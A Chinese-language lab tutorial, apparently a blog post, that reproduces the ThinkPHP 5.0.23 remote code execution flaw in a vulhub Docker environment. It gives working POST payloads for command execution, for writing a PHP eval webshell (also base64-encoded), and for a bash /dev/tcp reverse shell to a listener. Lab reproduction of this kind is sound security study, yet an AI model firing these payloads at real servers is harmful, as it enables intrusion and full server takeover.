Thinkphp5.0.23远程代码执行漏洞复现

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞介绍

使用Thinkphp5.x远程代码执行漏洞,无需登录即可执行任意命令,获取服务器最高权限。漏洞影响范围:5.x < 5.1.31; 5.0.x <=5.0.23,该漏洞出现的原因在于Thinkphp5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到Thinkphp框架内部的敏感函数,进而导致getshell漏洞。

2、启动靶场环境

kali系统启动thinkphp5.0.23,使用以下命令:

# 先启动docker
service docker start

# 先切到对应目录
cd /home/kali/vulhub-master/thinkphp/5.0.23-rce

# 编译环境(可选)
docker-compose build 

# 运行环境
docker-compose up -d 

# 会看到关键字done,表示运行结束

# 查询当前目录下的服务是否启动
docker-compose ps

访问地址:http://your-ip:8080/

关于环境准备,请参阅《kali系统安装docker和部署vulhub服务》。

3、远程代码执行poc确认

使用firefox浏览器,安装插件:HackBar

访问地址:http://your-ip:8080/index.php在后面拼接上?s=captcha,访问会提示页面错误,按F12打开调试,切换到HarBar,点LoadURL按钮把页面请求的url 加载到请求框,打钩Post data,输入以下POC

# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

执行点Execute按钮
Thinkphp5.0.23远程代码执行漏洞复现_第1张图片

验证过程,可在[REQUEST_METHOD]后修改命令,我的thinkphp是在部署在kali系统,相关命令是以linux系统的

4、一句话木马-phpinfo

在【第3、远程代码执行poc确认】步骤的基础上修改poc,写入shell,访问是否可解析

# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "" > info.php

提交后访问:http://192.168.242.4:8080/info.php,发现解析成功了。

路径就是跟index.php同一级,名称写入时自定义的。

Thinkphp5.0.23远程代码执行漏洞复现_第2张图片

5、一句话木马-远程连接

在【4、一句话木马-phpinfo】步骤的基础上修改poc,写入shell,使用蚁剑连接访问是否成功。

注意在版本:5.0.23, 符号会被过滤掉,需要在 符号会被过滤掉,需要在 符号会被过滤掉,需要在前面加上\进行转义

参考博客【转义方式】:https://blog.csdn.net/ffff5/article/details/117004350

参考博客【Base64编码方式】:https://www.cnblogs.com/–kisaragi–/p/15315131.html

5.1、使用转义的方式
# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "" > lksh.php
5.2、使用Base64编码形式

把一句话木马,放到在线网站:https://base64.us/进行编码

# 编码前内容


# Base64编码后
PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=

# server[REQUEST_METHOD]=后接的内容修改为
echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

# 整句poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

提交后,使用蚁剑连接访问:http://192.168.242.4:8080/lksh.php,发现解析成功了。

路径就是跟index.php同一级,名称写入时自定义的。

Thinkphp5.0.23远程代码执行漏洞复现_第3张图片

6、反弹shell

6.1、在攻击机开启监听

自己测试用同一台kali搭建靶场和做攻击机,所以ip会一样,但端口肯定不一样。使用nc命令开启监听,用于反弹shell

# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999

# 提示以下信息表示监听成功
tening on [any] 9999 ...
6.2、poc编写

由于反弹shell原文poc在提交时,提交时没任何反应,需要进行进行特殊字符编码后再提交,编码网址:https://www.bejson.com/enc/urlencode/

# server[REQUEST_METHOD]=后反弹shell原文
/bin/bash -c "bash -i >& /dev/tcp/192.168.242.4/9999 0>&1"

把上面的原文复制到在线网址进行编码,得到以下内容,然后再进行拼接全文poc

# 反弹shell原文的特殊符号编码后的内容
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22

Thinkphp5.0.23远程代码执行漏洞复现_第4张图片

从上面得到编码后的poc进行拼接全文poc

# 拼接全文poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22
6.3、poc执行

同样使用HackBar执行提交

Thinkphp5.0.23远程代码执行漏洞复现_第5张图片

6.4、反弹shell成功

发现kali系统的开启nc监听的地方有变化,而且可以执行查询命令,反弹shell成功

Thinkphp5.0.23远程代码执行漏洞复现_第6张图片

7、下期内容预告

下期会分享Struts2远程代码执行漏洞复现,敬请关注我的公众号:大象只为你,持续更新中…

你可能感兴趣的:(跟我学网安知识,命令执行,网络安全,漏洞复现)